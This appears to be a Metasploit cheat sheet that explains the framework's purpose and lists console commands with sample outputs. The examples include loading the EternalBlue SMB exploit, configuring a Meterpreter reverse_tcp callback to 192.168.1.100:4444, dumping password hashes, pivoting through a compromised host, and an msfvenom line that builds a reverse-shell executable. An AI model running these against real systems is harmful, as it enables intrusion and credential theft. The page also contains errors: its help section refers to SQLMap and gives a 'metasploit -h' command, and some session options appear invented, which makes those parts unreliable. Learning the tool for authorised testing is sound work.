Skip to main content

Metasploit

"The Metasploit Framework is an essential tool for any cybersecurity professional. Its extensive exploit database and versatile platform make it invaluable for penetration testing and vulnerability assessment." - James Lyne

What is the purpose of Metasploit?

Metasploit is the world's leading open-source penetrating framework used by security engineers as a penetration testing system and a development platform that allows to create security tools and exploits. The framework makes hacking simple for both attackers and defenders.

Here are the primary uses of Metasploit:

  • Exploit Development: Metasploit enables the quick generation and optimization of exploit code for Metasploit security tool users to enable the easy development of custom exploits against newly discovered vulnerabilities.

  • Vulnerability Scanning: Metasploit scans comprehensively for vulnerabilities in the target system to find weaknesses.

  • Payload Generation and Deployment: Metasploit can provides for payload generation and deployment, This feature enables various kinds of actions starting from remote command execution and finishing with backdoors.

  • Post-Exploitation Activities: Metasploit has a number of post-exploit mission capabilities that retrieve sensitive information, which can maintain persistent access to the compromised system through backdoors until it is detected and remedied.

  • Automation of Repetitive Tasks: Metasploit automates many repetitive tasks or missions involved in penetration testing process, facilitate the testing process and increasing overall efficiency.

  • Community and Commercial Support: Metasploit has a helpful and large community group. Metasploit's human and financial resources make great contributions to cyber security enthusiasts who want to improve themselves. Nowadays, it is an indispensable tool for penetration testing processes.

Core Features

  • Exploit Development
  • Payload Generation
  • Post-Exploitation Modules
  • Vulnerability Scanning
  • Network Attacks
  • Web Application Testing
  • Social Engineering
  • Customizable Scripts and Modules
  • Database Integration
  • Reporting and Documentation

Data sources

  • Vulnerability Databases
  • Exploit Code
  • Payloads and Shellcodes
  • Network Traffic
  • System Information
  • User Credentials
  • Web Application Data
  • Configuration Files

Common Metasploit Commands

1. Start the Metasploit Console

  • This command launches the Metasploit console.
msfconsole

2. Search for Exploits

  • This command allows searching in the Metasploit database for exploits, auxiliary modules, and payloads according to a given keyword. This capability saves time for Metasploit users.
search <keyword>

3. Use a Specific Module

  • This command selects a specific exploit or auxiliary module to be used in an attack.
use <exploit_path>

4. Set Module Options

  • This command sets the required options for the selected module, such as the target IP address and port number. It provides that the module is configured correctly before the attack begins.
set <option> <value>

5. Show Module Options

  • This command displays configurable options of the module currently selected.
show options

6. Run the Exploit

  • This command executes the selected exploit against the target with the configured options. It initiates the attack process.
run 
  • Alternative usage:
exploit

7. Generate a Payload

  • This command is used to create payload by specifying the format and other options of the paylad to be used in an attack. It allows the creation of customized payloads according to target systems.
msfvenom -p <payload> -f <format> <options>

8. List All Payloads

  • This command lists all available payloads that can be used with exploits.
show payloads

9. Establish a Meterpreter Session

  • This command enables the creation of a Meterpreter session in case of successful exploitation of a target and further post-exploitation activities. Finally, it provides an back-door for the compromised system.
sessions -i <session_id>

10. View Active Sessions

  • This command shows the users all active sessions, providing details about each compromised target. It helps in managing multi-sessions efficiently.
sessions -l

11. Help and Usage Information

  • This command displays the help menu and usage information for SQLMap.
metasploit -h
  • Alternative usage:
metasploit --help

Output Examples of Metasploit Commands

CommandExample UsageFunctionOutput Example
Start MetasploitmsfconsoleLaunches the Metasploit Framework console, providing access to all Metasploit modules and tools.Metasploit console started.
Search Exploitssearch type:exploit name:smbSearches for exploit modules based on a specified keyword.Matching Modules: 10
Search Auxiliary Modulessearch type:auxiliarySearches for auxiliary modules within the framework.Matching Modules: 500
Use an Exploituse exploit/windows/smb/ms17_010_eternalblueSelects a specific exploit module to be used for the attack.msf5 exploit(windows/smb/ms17_010_eternalblue) >
Show Exploit Optionsshow optionsDisplays the configurable options for the currently selected exploit module.Module options (exploit/windows/smb/ms17_010_eternalblue): ...
Set Target Hostset RHOSTS 192.168.1.1Defines the remote target IP address or range for the attack.RHOSTS => 192.168.1.1
Set Target Portset RPORT 445Specifies the remote port on the target machine.RPORT => 445
Set Payloadset PAYLOAD windows/meterpreter/reverse_tcpConfigures the payload to be used after the exploit is executed.PAYLOAD => windows/meterpreter/reverse_tcp
Set Local Hostset LHOST 192.168.1.100Defines the local IP address that the payload will connect back to.LHOST => 192.168.1.100
Set Local Portset LPORT 4444Specifies the local port that the payload will use to connect back.LPORT => 4444
Check Target VulnerabilitycheckVerifies if the target is vulnerable to the selected exploit.[+] Target is vulnerable.
Exploit Targetrun or exploitExecutes the selected exploit against the target.[*] Exploit completed, but no session was created.
Show Payloadsshow payloadsLists all available payloads for the selected exploit.Available Payloads: ...
Show Encodersshow encodersDisplays all available encoders that can be used to obfuscate payloads.Available Encoders: ...
Show NOPsshow nopsLists available NOP generators for padding payloads.Available NOPs: ...
Show Post-Exploitation Modulesshow postLists post-exploitation modules that can be used after gaining access to a target.Available Post Modules: ...
Show Auxiliary Modulesshow auxiliaryLists auxiliary modules for scanning, fuzzing, or other non-exploit tasks.Available Auxiliary Modules: ...
Set a Global Optionsetg LHOST 192.168.1.100Sets a global option that applies to all modules.LHOST => 192.168.1.100
Unset a Global Optionunsetg LHOSTUnsets a global option, removing its value for all modules.LHOST unset.
View Active Sessionssessions -lLists all active sessions established with targets.Active sessions: 1
Interact with a Sessionsessions -i 1Interacts with a specific session by session ID.meterpreter >
Background a SessionbackgroundMoves the current session to the background.[*] Backgrounding session 1...
Kill a Sessionsessions -k 1Terminates a specific session by session ID.Session 1 terminated.
Save Sessionsessions -sSaves all active sessions to disk for later use.Sessions saved.
Load Saved Sessionssessions -r session_fileRestores saved sessions from a file.Sessions restored.
Load a Meterpreter Scriptrun post/windows/gather/hashdumpExecutes a Meterpreter script for post-exploitation tasks.Hashes dumped.
Add a Routeroute add 192.168.2.0/24 1Routes traffic through a compromised host.Route added.
Display RoutesrouteLists all routes currently active in the session.Active routes: ...
Pivot through a Sessionsetg SESSION 1Sets a specific session ID for pivoting traffic.SESSION => 1
Generate a Payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exeGenerates a standalone payload in a specified format.Payload generated.
Exit MetasploitexitExits the Metasploit console and terminates all sessions.Goodbye!